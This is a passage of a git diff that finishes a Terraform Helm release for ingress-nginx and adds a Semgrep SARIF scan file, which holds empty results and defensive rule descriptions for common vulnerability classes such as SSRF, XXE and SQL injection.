+  version          = "4.9.0"  # Pin the version
+  namespace        = "ingress-nginx"
+  create_namespace = true
+
+  values = [
+    templatefile("${path.module}/ingress-nginx-values.yaml", {
+      cluster_name = module.eks.cluster_name
+      allowed_ip  = var.allowed_ip
+      security_group_id = aws_security_group.ingress_nginx.id
+    })
+  ]
+
+  atomic = true
+  cleanup_on_fail = true
+  timeout = 300
+
+  depends_on = [
+    module.eks,
+    helm_release.aws_load_balancer_controller,
+    time_sleep.wait_for_lb,
+    aws_security_group.ingress_nginx
+  ]
 }
\ No newline at end of file
diff --git a/terraform/semgrep.sarif b/terraform/semgrep.sarif
new file mode 100644
index 0000000..ff4c720
--- /dev/null
+++ b/terraform/semgrep.sarif
@@ -0,0 +1 @@
+{"version":"2.1.0","runs":[{"invocations":[{"executionSuccessful":true,"toolExecutionNotifications":[]}],"results":[],"tool":{"driver":{"name":"Semgrep OSS","rules":[{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","id":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","name":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"help":{"markdown":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf","id":"csharp.lang.security.ssrf.web-request.ssrf","name":"csharp.lang.security.ssrf.web-request.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-request.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","id":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","name":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"help":{"markdown":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth)\n - [https://cwe.mitre.org/data/definitions/477.html](https://cwe.mitre.org/data/definitions/477.html)\n","text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"helpUri":"https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth","id":"python.pymongo.security.mongodb.mongo-client-bad-auth","name":"python.pymongo.security.mongodb.mongo-client-bad-auth","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.security.mongodb.mongo-client-bad-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"help":{"markdown":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","id":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","name":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"help":{"markdown":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)\n - [https://www.youtube.com/watch?v=CIhHpkybYsY](https://www.youtube.com/watch?v=CIhHpkybYsY)\n - [https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf](https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf)\n","text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal","id":"generic.nginx.security.alias-path-traversal.alias-path-traversal","name":"generic.nginx.security.alias-path-traversal.alias-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.alias-path-traversal.alias-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py](https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","id":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","name":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","id":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","name":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","id":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","name":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.knex-express.knex-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.knex-express.knex-express","id":"javascript.express.db.knex-express.knex-express","name":"javascript.express.db.knex-express.knex-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.knex-express.knex-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"help":{"markdown":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n","text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","id":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","name":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external 